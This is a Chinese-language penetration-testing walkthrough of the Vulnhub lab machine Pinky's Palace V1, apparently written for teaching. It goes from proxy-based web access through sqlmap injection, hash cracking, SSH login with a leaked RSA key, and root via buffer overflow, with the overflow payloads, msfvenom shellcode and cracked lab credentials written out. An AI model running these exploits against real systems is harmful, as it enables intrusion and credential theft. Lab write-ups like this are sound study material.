[Vulnhub] Pinkys-PalaceV1 Squid http proxy+SQI+BOF
字数 834 2025-08-19 12:41:34

Pinkys-PalaceV1 渗透测试教学文档

1. 信息收集阶段

1.1 初始扫描

使用nmap进行端口扫描:

nmap -p- 192.168.8.106 --min-rate 1000 -sC -sV

扫描结果:

  • 8080/tcp: HTTP (nginx 1.10.3)
  • 31337/tcp: Squid HTTP代理 (3.5.23)
  • 64666/tcp: SSH (OpenSSH 7.4p1 Debian 10+deb9u2)

1.2 代理访问Web服务

由于直接访问8080端口返回403 Forbidden,需要通过Squid代理访问:

curl http://127.0.0.1:8080 -x 192.168.8.106:31337

2. Web目录枚举

2.1 使用dirb进行目录爆破

dirb http://127.0.0.1:8080 /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -p 192.168.8.106:31337

2.2 使用gobuster进行更全面的目录扫描

gobuster dir -u "http://127.0.0.1:8080/" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt --proxy http://192.168.8.106:31337

发现关键目录:

http://127.0.0.1:8080/littlesecrets-main/

3. SQL注入攻击

3.1 使用sqlmap进行自动化注入测试

sqlmap --proxy=http://192.168.8.106:31337 --dbms=mysql --data="user=adm&pass=passw&submit=Login" --url http://127.0.0.1:8080/littlesecrets-main/login.php --level=5 --risk=3 --dump

获取到的数据库信息:

users
+-----+----------------------------------+-------------+
| uid | pass                             | user        |
+-----+----------------------------------+-------------+
| 1   | f543dbfeaf238729831a321c7a68bee4 | pinky       |
| 2   | d60dffed7cc0d87e1f4a11aa06ca73af | pinkymanage |
+-----+----------------------------------+-------------+

3.2 密码破解

使用hashcat破解MD5哈希:

hashcat -m 0 -a 0 'd60dffed7cc0d87e1f4a11aa06ca73af' /usr/share/wordlists/rockyou.txt --force

破解结果:

username: pinkymanage
password: 3pinkysaf33pinkysaf3

4. SSH访问

使用获取的凭据通过SSH登录:

ssh pinkymanage@192.168.8.106 -p 64666

5. 权限提升准备

5.1 查找敏感文件

在服务器上发现重要文件:

cat /var/www/html/littlesecrets-main/ultrasecretadminf1l35/note.txt
cat /var/www/html/littlesecrets-main/ultrasecretadminf1l35/.ultrasecret|base64 -d

获取到RSA私钥:

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA16fxL3/+h/ILTZewkvekhIQ1yk0oLI+y3N4AItkhez11Iha8
[...省略部分内容...]
-----END RSA PRIVATE KEY-----

5.2 使用私钥登录更高权限账户

将私钥保存为id_rsa文件后,登录pinky用户:

ssh -i ./id_rsa pinky@192.168.8.106 -p 64666

6. 缓冲区溢出攻击获取root权限

6.1 方法一:手动利用缓冲区溢出

  1. 使用gdb分析adminhelper程序:
gdb -q ./adminhelper
(gdb) break main
(gdb) run 1
(gdb) jump spawn
(gdb) info functions spawn
  1. 确定缓冲区溢出点:
(gdb) run $(python -c "print 'A'*72")
(gdb) run $(python -c "print 'A'*72+'B'*4")
(gdb) run $(python -c "print 'A'*72+'\xd0\x47\x55\x55\x55\x55\x00\x00'")
  1. 执行溢出攻击:
./adminhelper $(python -c "print 'A'*72+'\xd0\x47\x55\x55\x55\x55\x00\x00'")

获取到root权限的密码哈希:99975cfc5e2eb4c199d38d4a2b2c03ce

6.2 方法二:使用msfvenom生成shellcode

  1. 生成shellcode:
msfvenom -a x64 -p linux/x64/exec CMD=/bin/sh -b '\x00\x0b\x0d\x0a\x18\x0c\x23\x24\x28\x29' | hexdump -v -e '"\\\x" 1/1 "%02x"'
  1. 设置环境变量:
export maptnh=`python -c 'print "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa1\x12\x80\xb5\xc8\x09\xbf\x96\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xe9\xaa\xaf\xd7\xa1\x67\x90\xe5\xc9\x12\x19\xe5\x9c\x56\xed\xf0\xc9\x3f\xe3\xe1\x96\x5b\x57\x9e\xa1\x12\x80\x9a\xaa\x60\xd1\xb9\xd2\x7a\x80\xe3\x9f\x5d\xe1\xfc\x9a\x4a\x8f\xb0\xc8\x09\xbf\x96"'`
  1. 使用getenv程序定位shellcode地址:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
    char *ptr;
    if(argc < 3) {
        printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]); /* get env var location */
    ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
    printf("%s will be at %p\n", argv[1], ptr);
}

编译并运行:

gcc -o getenv getenv.c
./getenv maptnh ~/adminhelper
  1. 执行溢出攻击:
~/adminhelper $(python -c "print 'A'*72+'\xaf\xee\xff\xff\xff\x7f'")

7. 总结

本渗透测试过程涵盖了以下关键步骤:

  1. 信息收集与端口扫描
  2. 代理服务器利用
  3. Web目录枚举
  4. SQL注入攻击与密码破解
  5. SSH访问与横向移动
  6. 敏感信息收集与私钥利用
  7. 缓冲区溢出攻击获取root权限

通过多种技术组合,最终成功获取目标系统的完全控制权限。

Pinkys-PalaceV1 渗透测试教学文档 1. 信息收集阶段 1.1 初始扫描 使用nmap进行端口扫描: 扫描结果: 8080/tcp : HTTP (nginx 1.10.3) 31337/tcp : Squid HTTP代理 (3.5.23) 64666/tcp : SSH (OpenSSH 7.4p1 Debian 10+deb9u2) 1.2 代理访问Web服务 由于直接访问8080端口返回403 Forbidden,需要通过Squid代理访问: 2. Web目录枚举 2.1 使用dirb进行目录爆破 2.2 使用gobuster进行更全面的目录扫描 发现关键目录: 3. SQL注入攻击 3.1 使用sqlmap进行自动化注入测试 获取到的数据库信息: 3.2 密码破解 使用hashcat破解MD5哈希: 破解结果: 4. SSH访问 使用获取的凭据通过SSH登录: 5. 权限提升准备 5.1 查找敏感文件 在服务器上发现重要文件: 获取到RSA私钥: 5.2 使用私钥登录更高权限账户 将私钥保存为id_ rsa文件后,登录pinky用户: 6. 缓冲区溢出攻击获取root权限 6.1 方法一:手动利用缓冲区溢出 使用gdb分析adminhelper程序: 确定缓冲区溢出点: 执行溢出攻击: 获取到root权限的密码哈希: 99975cfc5e2eb4c199d38d4a2b2c03ce 6.2 方法二:使用msfvenom生成shellcode 生成shellcode: 设置环境变量: 使用getenv程序定位shellcode地址: 编译并运行: 执行溢出攻击: 7. 总结 本渗透测试过程涵盖了以下关键步骤: 信息收集与端口扫描 代理服务器利用 Web目录枚举 SQL注入攻击与密码破解 SSH访问与横向移动 敏感信息收集与私钥利用 缓冲区溢出攻击获取root权限 通过多种技术组合,最终成功获取目标系统的完全控制权限。